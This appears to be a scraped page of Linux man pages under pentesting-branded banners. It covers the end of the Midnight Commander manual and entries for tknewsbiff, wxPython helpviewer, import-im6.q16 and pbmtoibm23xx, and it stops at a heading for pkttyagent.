    # underlined yellow on black (default)
    marked=yellow;;underline

Possible colors (names) and attributes are described in Colors. section.

Color and attribute aliases

This optional section might define aliases for single colors (not color pairs) as well as combination of attributes; in other words, for semicolon-separated fragments of parameters. Aliases can refer to other aliases as long as they don’t form a loop.

Example:

[aliases]
    myfavfg=green
    myfavbg=black
    myfavattr=bold+italic
[core]
    _default_=myfavfg;myfavbg;myfavattr

Draw lines

Lines sets in section [Lines] into skin-file. By default single lines are used, but you may redefine to usage of any utf-8 symbols (like to lines, for example).

WARNING!!! When you build Midnight Commander with the ncurses screen library usage of drawing lines is limited! Possible only drawing a single lines. For all questions and comments please contact the developers of ncurses.

Descriptions of parameters [Lines]:

lefttop
left-top line fragment.

righttop
right-top line fragment.

centertop
down branch of horizontal line

centerbottom
up branch of horizontal line

leftbottom
left-bottom line fragment

rightbottom
right-bottom line fragment

leftmiddle
right branch of vertical line

rightmiddle
left branch of vertical line

centermiddle
cross of lines

horiz
horizontal line

vert
vertical line

thinhoriz
thin horizontal line

thinvert
thin vertical line

Compatibility

Appointment of color by skin-files fully compatible with the appointment of the colors described in Colors. section.

In this case, reassignment of colors has priority over the skin file and is complementary.

Filenames Highlight

Section [filehighlight] in current skin-file contains key names as highlight groups and values as color pairs. Color pairs is documented in Skins section.

Rules of filenames highlight are placed in /usr/share/mc/filehighlight.ini file (~/.config/mc/filehighlight.ini). Name of section in this file must be equal to parameters names in [filehighlight] section (in current skin-file).

Keys in these groups are:

type
file type. If present, all other options are ignored.

regexp
regular expression. If present, ’extensions’ option is ignored.

extensions
list of extensions of files. Separated by ‘;’ sign.

extensions_case
(make sense only with ’extensions’ parameter) make ’extensions’ rule case sensitive (true) or not (false).

`type’ key may have values:

- FILE (all files)
  - FILE_EXE
- DIR (all directories)
  - LINK_DIR
- LINK (all links except stale link)
  - HARDLINK
  - SYMLINK
- STALE_LINK
- DEVICE (all device files)
  - DEVICE_BLOCK
  - DEVICE_CHAR
- SPECIAL (all special files)
  - SPECIAL_SOCKET
  - SPECIAL_FIFO
  - SPECIAL_DOOR

Special Settings

Most of Midnight Commander settings can be changed from the menus. However, there are a small number of settings which can only be changed by editing the setup file.

These variables may be set in your ~/.config/mc/ini file:

clear_before_exec
By default, Midnight Commander clears the screen before executing a command. If you would prefer to see the output of the command at the bottom of the screen, edit your ~/.config/mc/ini file and change the value of the field clear_before_exec to 0.

confirm_view_dir
If you press F3 on a directory, normally MC enters that directory. If this flag is set to 1, then MC will ask for confirmation before changing the directory if you have files tagged.

ftpfs_retry_seconds
This value is the number of seconds Midnight Commander will wait before attempting to reconnect to an FTP server that has denied the login. If the value is zero, the login will no be retried.

max_dirt_limit
Specifies how many screen updates can be skipped at most in the internal file viewer. Normally this value is not significant, because the code automatically adjusts the number of updates to skip according to the rate of incoming keystrokes. However, on very slow machines or terminals with a fast keyboard auto repeat, a big value can make screen updates too jumpy.

It seems that setting max_dirt_limit to 10 causes the best behavior, and that is the default value.

mouse_move_pages_viewer
Controls if scrolling with the mouse is done by pages or line by line on the internal file viewer.

only_leading_plus_minus
Allow special treatment for ‘+’, ‘-’, ‘*’ in the command line (select, unselect, reverse selection) only if the command line is empty. You don’t need to quote those characters in the middle of the command line. On the other hand, you cannot use them to change selection when the command line is not empty.

alternate_plus_minus
If true, use ‘+’, ‘-’, ‘\ and ‘*’ keys normally. For select/unselect, use ‘Alt-+’, ‘Alt–’ and ‘Alt-*’.

show_output_starts_shell
This variable only works if you are not using the subshell support. When you use the C-o keystroke to go back to the user screen, if this one is set, you will get a fresh shell. Otherwise, pressing any key will bring you back to Midnight Commander.

timeformat_recent
Change the time format used to display dates less than 6 months from now. See strftime or date man page for the format specification. If this option is absent, default timeformat is used.

timeformat_old
Change the time format used to display dates older than 6 months from now or for dates in the future. See strftime or date man page for the format specification. If this option is absent, default timeformat is used.

torben_fj_mode
If this flag is set, then the home and end keys will work slightly different on the panels, instead of moving the selection to the first and last files in the panels, they will act as follows:

The home key will: Go up to the middle line, if below it; else go to the top line unless it is already on the top line, in this case it will go to the first file in the panel.

The end key has a similar behavior: Go down to the middle line, if over it; else go to the bottom line unless you already are at the bottom line, in such case it will move the selection to the last file name in the panel.

use_file_to_guess_type
If this variable is on (the default) it will spawn the file command to match the file types listed on the mc.ext.ini file.

xtree_mode
If this variable is on (default is off) when you browse the file system on a Tree panel, it will automatically reload the other panel with the contents of the selected directory.

shell_directory_timeout
This variable holds the lifetime of a directory cache entry in seconds. The default value is 900 seconds.

clipboard_store
This variable contains path (with options) to the external clipboard utility like ‘xclip’ to read text into X selection from file. For example:

clipboard_store=xclip -i

clipboard_paste
This variable contains path (with options) to the external clipboard utility like ‘xclip’ to print the selection to standard out. For example:

clipboard_paste=xclip -o

autodetect_codeset
This option allows use the `enca’ command to autodetect codeset of text files in internal viewer and editor. List of valid values can be obtain by the `enca –list languages | cut -d : -f1’ command. Option must be located in the [Misc] section.

For example:

autodetect_codeset=russian

Parameters for external editor or viewer

Midnight Commander provides a way for specify an options for external editors and viewers. Midnight Commander tries to search the “[External editor or viewer parameters]” section in the system initialization file (the mc.lib file located in Midnight Commander’s library directory) and then in the ~/.config/mc/ini file. The option name should be equal to the name (full pathname) of external editor or viewer. The option value can contain following variables:

%filename
The filename to edit/view.

%lineno
The start line in the opening file.

For example:

[External editor or viewer parameters]
    vi=%filename +%lineno
    joe=%filename +%lineno
    more=%filename +%lineno

Start line is passed to the external editor/viewer only if it is called from the Find file results window.

If external editor/viewer is launched via F4/F3 keys, MC hopes that program (at least “joe”, but probably others too) has an own feature that by default opens the file where it was last open. MC doesn’t prevent external editor/viewer to save and restore position in opened files.

Terminal databases

Midnight Commander provides a way to fix your system terminal database without requiring root privileges. Midnight Commander searches in the system initialization file (the mc.lib file located in Midnight Commander’s library directory) and in the ~/.config/mc/ini file for the section “terminal:your-terminal-name” and then for the section “terminal:general”, each line of the section contains a key symbol that you want to define, followed by an equal sign and the definition for the key. You can use the special  form to represent the escape character and the ^x to represent the control-x character.

The possible key symbols are:

f0 to f20     Function keys f0-f20
bs            backspace
home          home key
end           end key
up            up arrow key
down          down arrow key
left          left arrow key
right         right arrow key
pgdn          page down key
pgup          page up key
insert        the insert character
delete        the delete character
complete      to do completion

For example, to define the key insert to be the Escape + [ + O + p, you set this in the ini file:

insert=p

Also now you can use extended learn keys. For example:

    ctrl-alt-right=[[1;6C
    ctrl-alt-left=[[1;6D

This means that ctrl+alt+left sends a [[1;6D escape sequence and therefore Midnight Commander interprets “[[1;6D” as C-Alt-Left.

The complete key symbol represents the escape sequences used to invoke the completion process, this is invoked with Alt-tab, but you can define other keys to do the same work (on those keyboard with tons of nice and unused keys everywhere).

FILES

Full paths below may vary between installations. They are also affected by the MC_DATADIR environment variable. If it’s set, its value is used instead of /usr/share/mc in the paths below.

/usr/share/mc/help/mc.hlp

The help file for the program.

/usr/share/mc/mc.ext.ini

The default system-wide extensions file.

~/.config/mc/mc.ext.ini

User’s own extension, view configuration and edit configuration file. They override the contents of the system wide files if present.

/etc/mc/mc.ini

/usr/share/mc/mc.ini

System-wide setup files for Midnight Commander, used only if the user doesn’t have his own ~/.config/mc/ini file. If /etc/mc/mc.ini exists, /usr/share/mc/mc.ini isn’t used.

/usr/share/mc/mc.lib

Global settings for Midnight Commander. Settings in this file affect all users, whether they have ~/.config/mc/ini or not. Currently, only terminal settings are loaded from mc.lib.

~/.config/mc/ini

User’s own setup. If this file is present then the setup is loaded from here instead of the system-wide startup file.

/usr/share/mc/hints/mc.hint

This file contains the hints displayed by the program.

/usr/share/mc/mc.menu

This file contains the default system-wide applications menu.

~/.config/mc/menu

User’s own application menu. If this file is present it is used instead of the system-wide applications menu.

~/.cache/mc/Tree

The directory list for the directory tree and tree view features.

~/.local/share/mc.menu

Local user-defined menu. If this file is present, it is used instead of the home or system-wide applications menu.

To change default root directory of MC, you can use MC_PROFILE_ROOT environment variable. The value of MC_PROFILE_ROOT must be an absolute path. If MC_PROFILE_ROOT is unset or empty, HOME variable is used. If HOME is unset or empty, MC directories are get from GLib library.

LICENSE

This program is distributed under the terms of the GNU General Public License as published by the Free Software Foundation. See the built-in help for details on the License and the lack of warranty.

AVAILABILITY

The latest version of this program can be found at http://ftp.midnight-commander.org/.

SEE ALSO

ed(1), gpm(1), terminfo(1), view(1), sh(1), bash(1), tcsh(1), zsh(1).

Midnight Commander's page on the World Wide Web:
	https://www.midnight-commander.org/

AUTHORS

Authors and contributors are listed in the AUTHORS file in the source distribution.

BUGS

See the file TODO in the distribution for information on what remains to be done.

If you want to report a problem with the program, please create bugreport at https://www.midnight-commander.org/.

Provide a detailed description of the bug, the version of the program you are running (mc -V displays this information), the operating system you are running the program on. If the program crashes, we would appreciate a stack trace.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1156 - Linux cli command tknewsbiff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tknewsbiff and provides detailed information about the command tknewsbiff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tknewsbiff.

NAME 🖥️ tknewsbiff 🖥️

pop up a window when news appears

SYNOPSIS

tknewsbiff [ server or config-file ]

INTRODUCTION

tknewsbiff pops up a window when there is unread news in your favorite newsgroups and removes the window after you’ve read the news. tknewsbiff can optionally play a sound, start your newsreader, etc.

SELECTING NEWSGROUPS

By default, the configuration file ~/.tknewsbiff describes how tknewsbiff behaves. The syntax observes the usual Tcl rules - however, even if you don’t know Tcl, all but the most esoteric configurations will be obvious.

Each newsgroup (or set of newsgroups) to be watched is described by using the “watch” command. For example:

watch dc.dining
watch nist.*
watch comp.unix.wizard  -threshold 3
watch *.sources.*       -threshold 20

For each newsgroup pattern, any newsgroup that matches it and which you are subscribed to (according to your newsrc file) is eligible for reporting. By default, tknewsbiff reports on the newsgroup if there is at least one unread article. The “-threshold” flag changes the threshold to the following number. For example, “-threshold 3” means there must be at least three articles unread before tknewsbiff will report the newsgroup.

If no watch commands are given (or no configuration file exists), all groups which are subscribed to are watched.

To suppress newsgroups that would otherwise be reported, use the “ignore” command. For example, the following matches all comp.* and nist.* newgroups except for nist.posix or .d (discussion) groups:

watch comp.*
watch nist.*
ignore nist.posix.*
ignore *.d

The flag “-new” describes a command to be executed when the newsgroup is first reported as having unread news. For example, the following lines invoke the UNIX command “play” to play a sound.

watch dc.dining -new "exec play /usr/local/sounds/yumyum.au"
watch rec.auto* -new "exec play /usr/local/sounds/vroom.au"

You can cut down on the verbosity of actions by defining procedures. For example, if you have many -new flags that all play sound files, you could define a sound procedure. This would allow the -new specification to be much shorter.

proc play {sound} {
	exec play /usr/local/sounds/$sound.au
}

watch dc.dining -new "play yumyum"
watch rec.auto* -new "play vroom"

As an aside, you can put an “&” at the end of an “exec” command to get commands to execute asynchronously. However, it’s probably not a good idea to do this when playing sound files anyway.

“newsgroup” is a read-only variable which contains the name of the newsgroup that is being reported. This is useful when the action is triggered by a pattern. For example, the following line could run the newsgroup name through a speech synthesizer:

watch * -new {
	exec play herald.au
	exec speak "New news has arrived in $newsgroup."
}

The flag “-display” describes a command to be executed every time the newsgroup is reported as having unread news. The special command “display” is the default command. It schedules $newsgroup to be written to tknewsbiff’s display when it is rewritten. For example, by explicitly providing a -display flag that omits the display command, you can disable the display of newsgroups that are already reported via -new.

watch dc.dining -new {exec play yumyum.au} -display {}

If you want to execute an action repeatedly and still display the newsgroup in the default manner, explicitly invoke the display command via the -display flag. For example:

watch *security* -display {
	exec play red-alert.au
	display
}

Actions associated with the -new and -display flags are executed only once for each matching newsgroup. The command executed is the one associated with the first pattern in the configuration file that matches and observes the given threshold.

Any command that is simply listed in the configuration file is executed each time before the update loop in tknewsbiff. The reserved (but user-defined) procedure “user” is run immediately after the newsgroups are scheduled to be written to the display and before they are actually written.

For example, suppose unread articles appear in several rec.auto groups and you play the same sound for each one. To prevent playing the sound several times in a row, make the -new command simply set a flag. In the user procedure, play the sound if the flag is set (and then reset the flag).

The user procedure could also be used to start a newsreader. This would avoid the possibility of starting multiple newsreaders just because multiple newsgroups contained unread articles. (A check should, of course, be made to make sure that a newsreader is not already running.)

MORE VARIABLES

The following example lines show variables that can affect the behavior of tknewsbiff

set delay          120
set server         news.nist.gov
set server_timeout 60
set newsrc         ~/.newsrc
set width          40
set height         20
set active_file    /usr/news/lib/active

tknewsbiff alternates between checking for unread news and sleeping (kind of like many undergraduates). The “delay” variable describes how many seconds to sleep.

The “server” variable names an NNTP news-server. The default is “news”. The “server” variable is only used if the “active_file” variable is not set.

The “server_timeout” variable describes how how many seconds to wait for a response from the server before giving up. -1 means wait forever or until the server itself times out. The default is 60 seconds.

The “newsrc” variable describes the name of your .newsrc file. By default, tknewsbiff looks in your home directory for a newsrc file. A server-specific newsrc is used if found. For example, if you have set server to “cubit.nist.gov”, then tknewsbiff looks for ~/.newsrc-cubit.nist.gov. (This is the Emacs gnus convention - which is very convenient when you read news from multiple servers.) If there is no server-specific newsrc, tknewsbiff uses ~/.newsrc.

The “width” variable describes the width that tknewsbiff will use to display information. If any newsgroup names are long enough, they will be truncated so that the article counts can still be shown. You can manually resize the window to see what was truncated. However, if your configuration file sets the width variable, the window will be restored to that size the next time that tknewsbiff checks for unread news and updates its display.

The “height” variable describes the maximum height that tknewsbiff will use to display information. If fewer newsgroups are reported, tknewsbiff will shrink the window appropriately. You can manually resize the window but if your configuration file sets the height variable, the window will be restored to that size the next time that tknewsbiff checks for unread news and updates its display.

The “active_file” variable describes the name of the news active file. If set, the active file is read directly in preference to using NNTP (even if the “server” variable is set). This is particularly useful for testing out new configuration files since you can edit a fake active file and then click button 2 to immediately see how tknewsbiff responds (see BUTTONS below).

If the environment variable DOTDIR is set, then its value is used as a directory in which to find all dotfiles instead of from the home directory. In particular, this affects the tknewsbiff configuration file and the .newsrc file (assuming the newsrc variable is not set explicitly).

WATCHING DIFFERENT NEWS SERVERS

To watch multiple servers, run tknewsbiff multiple times. (Since you need different .newsrc files and the servers have different newsgroups and article numbers anyway, there is no point in trying to do this in a single process.)

You can point tknewsbiff at a different server with an appropriate argument. The argument is tried both as a configuration file name and as a suffix to the string “~/.tknewsbiff-”. So if you want to watch the server “kidney”, store the tknewsbiff configuration information in ~/.tknewsbiff-kidney". The following two commands will both use that configuration file.

	tknewsbiff kidney
	tknewsbiff ~/.tknewsbiff-kidney

In both cases, the actual server to contact is set by the value of the server variable in the configuration file.

If no configuration file is found, the argument is used as the server to contact. This allows tknewsbiff to be run with no preparation whatsoever.

If the argument is the special keyword “active” (or ends in “/active”), it is used as the name of an active file. This is in turn used to initialize the variable “active_file” so that tknewsbiff reads from the active file directly rather than using NNTP.

Creating your own active file is a convenient way of testing your configuration file. For example, after running the following command, you can repeatedly edit your active file and trigger the update-now command (either by pressing button 2 or setting the delay variable very low) to see how tknewsbiff responds.

The active file must follow the format of a real active file. The format is one newsgroup per line. After the newsgroup name is the number of the highest article, the lowest article. Lastly is the letter y or m. m means the newsgroup is moderated. y means posting is allowed.

WINDOW

When unread news is found, a window is popped up. The window lists the names of the newsgroups and the number of unread articles in each (unless suppressed by the -display flag). When there is no longer any unread news, the window disappears (although the process continues to run).

BUTTONS

Button or key bindings may be assigned by bind commands. Feel free to change them. The default bind commands are:

bind .list <1> help
bind .list <2> update-now
bind .list <3> unmapwindow

By default button 1 (left) is bound to “help”. The help command causes tknewsbiff to pop up a help window.

By default, button 2 (middle) is bound to “update-now”. The update-now command causes tknewsbiff to immediately check for unread news. If your news server is slow or maintains a very large number of newsgroups, or you have a large number of patterns in your configuration file, tknewsbiff can take considerable time before actually updating the window.

By default, button 3 (right) is bound to “unmapwindow”. The unmapwindow command causes tknewsbiff to remove the window from the display until the next time it finds unread news. (The mapwindow command causes tknewsbiff to restore the window.)

As an example, here is a binding to pop up an xterm and run rn when you hold down the shift key and press button 1 in the listing window.

bind .list <Shift-1> {
	exec xterm -e rn &
}

Here is a similar binding. However it tells rn to look only at the newsgroup that is under the mouse when you pressed it. (The “display_list” variable is described later in this man page.)

bind .list <Shift-1> {
	exec xterm -e rn [lindex $display_list [.list nearest %y]] &
}

OTHER COMMANDS AND VARIABLES

Built-in commands already mentioned are: watch, ignore, display, help, update-now, unmapwindow, and mapwindow.

Any Tcl and Tk command can also be given. In particular, the list of newsgroups is stored in the list widget “.list”, and the scroll bar is stored in the scrollbar widget “.scroll”. So for example, if you want to change the foreground and background colors of the newsgroup list, you can say:

	.list config -bg honeydew1 -fg orchid2

These can also be controlled by the X resource database as well. However, the configuration file allows arbitrarily complex commands to be evaluated rather than simple assignments.

Certain Tcl/Tk commands can disrupt proper function of tknewsbiff. These will probably be obvious to anyone who knows enough to give these commands in the first place. As a simple example, the program assumes the font in the list box is of fixed width. The newsgroups will likely not align if you use a variable-width font.

The following variables are accessible and can be used for esoteric uses. All other variables are private. Private variables and commands begin with “_” so you don’t need to worry about accidental collisions.

The array “db” is a database which maintains information about read and unread news. db($newsgroup,hi) is the highest article that exists. db($newsgroup,seen) is the highest article that you have read.

A number of lists maintain interesting information. “active_list” is a list of known newsgroups. “seen_list” is a list of newsgroups that have been seen so far as the -new and -display flags are being processed. “previous_seen_list” is “seen_list” from the previous cycle. “ignore_list” is the list of newsgroup patterns to ignore. “watch_list” is the list of newsgroup patterns to watch. “display_list” is the list of newsgroup will be displayed at the next opportunity.

UPDATING YOUR FILES

tknewsbiff automatically rereads your configuration file each time it wakes up to check for unread news. To force tknewsbiff to reread the file immediately (such as if you are testing a new configuration or have just modified your newsrc file), press button 2 in the display (see BUTTONS above).

CAVEATS

tknewsbiff defines the number of unread articles as the highest existing article minus the highest article that you’ve read. So if you’ve read the last article in the newsgroup but no others, tknewsbiff thinks there are no unread articles. (It’s impossible to do any better by reading the active file and it would be very time consuming to do this more accurately via NNTP since servers provide no efficient way of reporting their own holes in the newsgroups.) Fortunately, this definition is considered a feature by most people. It allows you to read articles and then mark them “unread” but not have tknewsbiff continue telling you that they are unread.

UNWARRANTED CONCERNS

Your news administrator may wonder if many people using tknewsbiff severely impact an NNTP server. In fact, the impact is negligible even when the delay is very low. To gather all the information it needs, tknewsbiff uses a single NNTP query - it just asks for the active file. The NNTP server does no computation, formatting, etc, it just sends the file. All the interesting processing happens locally in the tknewsbiff program itself.

BUGS

The man page is longer than the program.

SEE ALSO

“Exploring Expect: A Tcl-Based Toolkit for Automating Interactive Programs” by Don Libes, O’Reilly and Associates, January 1995.

AUTHOR

Don Libes, National Institute of Standards and Technology

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1157 - Linux cli command helpviewer

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command helpviewer and provides detailed information about the command helpviewer, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the helpviewer.

NAME 🖥️ helpviewer 🖥️

wxPython tools.
img2png - wxPython tools.
img2py - wxPython tools.
img2xpm - wxPython tools.
pycrust - wxPython tools.
pyshell - wxPython tools.
pyslices - wxPython tools.
pyslicesshell - wxPython tools.
pywxrc - wxPython tools.
wxdemo - wxPython tools.
wxdocs - wxPython tools.
wxget - wxPython tools.

DESCRIPTION

The real documentation for these tools is available in pydoc format.

For example:

pydoc3 wx.tools.img2xpm

SEE ALSO

pydoc3(1)

COPYRIGHT

This manpage was written by Ron Lee <[email protected]> for the Debian GNU/Linux distribution of wxWidgets. It may be freely distributed by anyone insane enough to find it useful.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1158 - Linux cli command import-im6.q16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command import-im6.q16 and provides detailed information about the command import-im6.q16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the import-im6.q16.

NAME 🖥️ import-im6.q16 🖥️

saves any visible window on an X server and outputs it as an image file. You can capture a single window, the entire screen, or any rectangular portion of the screen.

SYNOPSIS

import-im6.q16 [options] output-file

OVERVIEW

The import-im6.q16 program is a member of the ImageMagick-ims6.q16(1) suite of tools. Use it to capture some or all of an X server screen and save the image to a file.

For more information about the import command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/import.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/import.php.

DESCRIPTION

Image Settings: -adjoin join images into a single multi-image file -border include window border in the output image -channel type apply option to select image channels -colorspace type alternate image colorspace -comment string annotate image with comment -compress type type of pixel compression when writing the image -define format:option define one or more image format options -density geometry horizontal and vertical density of the image -depth value image depth -descend obtain image by descending window hierarchy -display server X server to contact -dispose method layer disposal method -dither method apply error diffusion to image -delay centiseconds display the next image after pausing -encipher filename convert plain pixels to cipher pixels -endian type endianness (MSB or LSB) of the image -encoding type text encoding type -filter type use this filter when resizing an image -format “string” output formatted image characteristics -frame include window manager frame -gravity direction which direction to gravitate towards -identify identify the format and characteristics of the image -interlace type None, Line, Plane, or Partition -interpolate method pixel color interpolation method -label string assign a label to an image -limit type value Area, Disk, Map, or Memory resource limit -monitor monitor progress -page geometry size and location of an image canvas -pause seconds seconds delay between snapshots -pointsize value font point size -quality value JPEG/MIFF/PNG compression level -quiet suppress all warning messages -regard-warnings pay attention to warning messages -repage geometry size and location of an image canvas -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -scene value image scene number -screen select image from root window -seed value seed a new sequence of pseudo-random numbers -set property value set an image property -silent operate silently, i.e. don’t ring any bells -snaps value number of screen snapshots -support factor resize support: > 1.0 is blurry, < 1.0 is sharp -synchronize synchronize image to storage device -taint declare the image as modified -transparent-color color transparent color -treedepth value color tree depth -verbose print detailed information about the image -virtual-pixel method Constant, Edge, Mirror, or Tile -window id select window with this id or name

Image Operators: -annotate geometry text annotate the image with text -colors value preferred number of colors in the image -crop geometry preferred size and location of the cropped image -geometry geometry preferred size or location of the image -help print program options -monochrome transform image to black and white -negate replace each pixel with its complementary color -quantize colorspace reduce colors in this colorspace -resize geometry resize the image -rotate degrees apply Paeth rotation to the image -strip strip image of all profiles and comments -thumbnail geometry create a thumbnail of the image -transparent color make this color transparent within the image -trim trim image edges -type type image type

Miscellaneous Options: -debug events display copious debugging information -help print program options -log format format of debugging information -list type print a list of supported option arguments -version print version information

By default, ‘file’ is written in the Postscript image format. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1159 - Linux cli command pbmtoibm23xx

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtoibm23xx and provides detailed information about the command pbmtoibm23xx, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtoibm23xx.

.

NAME 🖥️ pbmtoibm23xx 🖥️

convert a PBM image to IBM 23XX printer stream

SYNOPSIS

pbmtoibm23xxx **-xres=**dpi **-yres=**dpi [slow [pbmfile …]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pbmtoibm23xx reads one or more PBM files as input and writes an IBM 23XX printer command stream to generate all the images in all the files to Standard Output.

If you don’t specify any file names, pbmtoibm23xx reads from Standard Input.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtoibm23xx recognizes the following command line options:

**-xres=**dpi
This option specifies the horizontal resolution in dots per inch. Valid values are 60, 120, and 240.

This option is mandatory.

**-yres=**dpi
This option specifies the vertical resolution in dots per inch. Valid values are 60, 120, and 240.

This option is mandatory.

-slow
Use the slower printing mode where two modes with the same resolution are available. This usually produces better quality prints. This affects only modes with horizontal resolution 120, but might affect other modes in future versions of the program.

LIMITATIONS

There are probably better ways to control the IBM 23XX printers. Let me know if you find any.

HISTORY

pbmtoibm23xx was new in Netpbm 10.25 (October 2004).

SEE ALSO

pbm(1) , Ghostscript (gs).

AUTHOR

Copyright (C) 2004 Jorrit Fahlke <[email protected]>. Copying policy: GNU GPL version 2

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtoibm23xx.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1160 - Linux cli command pkttyagent

